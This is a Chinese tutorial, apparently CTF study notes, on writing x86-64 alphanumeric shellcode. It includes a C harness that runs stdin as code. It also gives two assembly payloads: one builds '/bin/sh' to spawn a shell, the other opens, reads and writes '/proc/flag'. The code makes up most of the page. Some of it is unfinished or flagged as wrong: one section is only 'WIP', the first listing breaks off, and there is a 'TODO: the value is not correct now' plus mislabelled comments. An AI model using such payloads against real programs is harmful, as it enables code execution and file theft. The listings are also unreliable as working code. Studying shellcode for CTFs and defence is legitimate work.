Alphanumeric shellcode

Alphanumeric shellcode 限定所使用的汇编 opcode 只能在 0x20 ~ 0x7f 范围内——这正是“人类可读”的 ascii 字符的范围。所以如果你用如下代码编译出一份字节文件,你将得到一份看起来像乱码文本,但实际上又可执行的怪东西!

gcc -m64 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.ascii

下面我们研究一下,如何书写一份 x86-64 风格的 alphanumeric shellcode。

限制与问题

WIP

演示 shellcode 执行

直接把传入的 shellcode 读到 buf 中并且将 buf 解释为函数指针执行 buf

#include <stdio.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>

char buf[2048];

int main()
{
  if (!fgets(buf, sizeof(buf), stdin))
    err(1, "Too long input");

  // a few info for debugging
  printf("> length: %d\n", (int)strlen(buf));
  for (int i = 0; i < strlen(buf); i += 1) {
    if (i % 16 == 0)
      printf("> %04X: ", i);
    printf("%02X ", (unsigned char)buf[i]);
    if (i % 16 == 15)
      printf("\n");
  }
  printf("\n");

  (*(void (*)()) buf)();
}

shellcode

 .global _start
        .text
_start:
        ; Set %rcx as stack pointer
        ; and align %rsp
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax

        ; Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       ; 0x14 on the stack now.
        pop %rax                        ; add back to %esp
        imul  $0x41, (%rcx), %edi       ; %rdi = 0x3cf, a "magic offset" for us
                                        ; This is decimal value 975.
                                        ; If this is too low/high, suggest a
                                        ; modification to xor of %al for
                                        ; changing the imul results

        ; Write the syscall
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         ; 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        ; Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)

        ; Sycall written, set values now.
        ; allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)

        ; Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx

        ; Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack

        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'

        pop %rax
        push %rdi

        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                ; %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al
#include <sys/syscall.h>

.globl main
.type main, @function

main:

    /* PART I : OPEN */
    /* start of buf 0x6020c0 */
    /* about 100 bytes long! */
    /* Set rcx as stack pointer */
    push $0x58
    push %rsp
    pop %rcx
    pop %rax

    /* rdx = 0x6020c0, start of buf*/
    movslq 0x50(%rcx), %rax
    push $0x30585040
    pop %rax
    xor $0x30387140, %rax
    push %rax
    pop %rdx

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30307522, %eax            /* 0x602100 */
    push %rax
    pop %rax                        /* Garbage reg */
    movslq (%rcx), %rsi
    xor %esi, 0x5b(%rdx)

    /* Sycall written, set values now.
     allocate 16 bytes for '/proc/flag\0' */
    movslq 0x50(%rcx), %rsi
    xor %esi, 0x50(%rcx)
    movslq 0x54(%rcx), %rsi
    xor %esi, 0x54(%rcx)
    movslq 0x58(%rcx), %rsi
    xor %esi, 0x58(%rcx)
    movslq 0x5c(%rcx), %rsi
    xor %esi, 0x5c(%rcx)

    /* Zero rdx, rsi, and rdi */
    movslq 0x50(%rcx), %rdi
    movslq 0x50(%rcx), %rsi
    push %rdi
    pop %rdx

    /* Store '/bin/sh\0' in %rdi */
    push $0x31315039
    pop %rax
    xor $0x31313758, %eax
    xor %eax, 0x58(%rcx)            /* 'ag\0\0'  just went onto the stack */

    push $0x58575a3b
    pop %rax
    xor $0x34317558, %eax
    xor %eax, 0x54(%rcx)            /* 'c/fl' just went onto the stack */

    push $0x5b43475a
    pop %rax
    xor $0x34313775, %eax
    xor %eax, 0x50(%rcx)           /* /pro just went onto the stack*/
    xor 0x50(%rcx), %rdi
    xor 0x58(%rcx), %rsi

    pop %rax
    pop %rax
    push %rsi
    push %rdi

    push $0x58
    movslq (%rcx), %rsi
    xor (%rcx), %rsi                /* %rsi zeroed */
    movslq (%rcx), %rdi
    xor (%rcx), %rdi                /* %rdi zeroed */
    pop %rax
    push %rsp
    xor $0x5a, %al
    xor (%rcx), %rdi               /* From here, rdi = pointer to /proc/flag */
                                   /* rsi = 0 = read mode */

/* This will be modified to syscall */
    push $0x58

    /***********************************/
    /********** PART2 : READ ***********/
    /***********************************/
    /* eax now has fd, move it to rdi */
    push %rax
    pop  %rdi

    /* rsp in rcx */
    push $58
    push %rsp
    pop  %rcx
    pop %rax

    movslq (%rcx), %rsi
    xor %esi, (%rcx)
    movslq (%rcx), %rsi
    xor %esi, (%rcx)

    /* rdx = 0x602060 */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    push $0x30585058
    pop %rax
    xor $0x30387138, %rax
    push %rax
    pop %rdx

    /* emtpy rax again */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30307522, %eax            /* 0x005d65 */
    push %rax
                          /* Garbage reg */
    movslq (%rcx), %rsi
    xor %esi, 0x58(%rdx)

    /* Put 0x100 into %rdx */
    push $0x61616161
    pop %rax
    xor $0x61616061, %eax
    push %rax
    pop %rdx

    push $0x58
    pop %rax
    push %rcx
    pop %rsi
    xor $0x58, %al

/* To be syscall*/
    push $0x58


    /***********************************/
    /********** PART3 : WRITE ***********/
    /***********************************/
    /* rsp in rcx */
    push $0x58
    push %rsp
    pop  %rcx
    pop %rax   /* Garbage */

    /* Set rdx = 0x602200 */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    push $0x30586858
    pop %rax
    xor $0x30384a58, %rax /* TODO: the value is not correct now */
    push %rax
    pop %rdx

    /* emtpy rax again */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30302847, %eax            /* 0x005d65 */
    push %rax
    pop %rax                      /* Garbage reg */
    movslq (%rcx), %rdi
    xor %edi, 0x58(%rdx)

    /* Put 0x100 into %rdx */
    push $0x61616161
    pop %rax
    xor $0x61616561, %eax
    push %rax
    pop %rdx

    push $0x58
    pop %rax
    xor $0x59, %al /* rax set to 1 */
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi

/* To be syscall*/
    push $0x58

Reference

  1. NetSec: Alphanumeric Shellcode